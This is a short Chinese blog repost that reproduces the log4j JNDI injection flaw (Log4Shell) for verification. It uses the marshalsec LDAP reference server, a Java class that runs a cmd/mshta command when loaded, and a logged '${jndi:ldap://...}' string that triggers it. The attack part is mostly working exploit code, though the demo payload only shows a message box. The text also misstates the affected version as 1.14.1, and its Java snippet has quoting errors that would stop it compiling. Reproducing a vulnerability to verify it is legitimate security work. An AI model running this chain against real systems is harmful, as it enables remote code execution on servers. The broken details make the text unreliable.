我是靠谱客的博主 甜蜜芝麻,最近开发中收集的这篇文章主要介绍log4j漏洞,jndi侵入验证复现,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

log4j的1.14.1往下版本

需要先搭建一个LDAP服务器,git地址

git clone https://github.com/mbechler/marshalsec.git

执行 marshalsec.jndi.LDAPRefServer 的main函数,idea添加执行命令

"http://127.0.0.1/fileService/download/1/1/#test" 8888

 意思是将文件服务器http://127.0.0.1/fileService/download/1/1/下面的test类,映射到8888端口

然后编写test类

public class test {
    static{
        try {
            Runtime.getRuntime().exec("cmd /c mshta vbscript:msgbox("有人从你的log4进来了",64,"来自熊猫头的消息")(window.close)");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

test类执行了一个cmd指令,执行了一段vb程序语句

将他编译成class,放到文件服务器上,这里随便搭建什么文件服务器都行,给LDAP用。

我这边是用现有的外网远程服务器,http://127.0.0.1/fileService/download/1/1/

然后测试类

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class Main {
    private static final Logger log = LogManager.getLogger(Main.class);

    public static void main(String[] args) {
        String cmd = "${jndi:ldap://127.0.0.1:8888/test}";
        log.error(cmd);
    }
}

单你用log4j打印日志的时候,这日志写了几个jndi的命令,这就完蛋

最后

以上就是甜蜜芝麻为你收集整理的log4j漏洞,jndi侵入验证复现的全部内容,希望文章能够帮你解决log4j漏洞,jndi侵入验证复现所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(42)

评论列表共有 0 条评论

立即
投稿
返回
顶部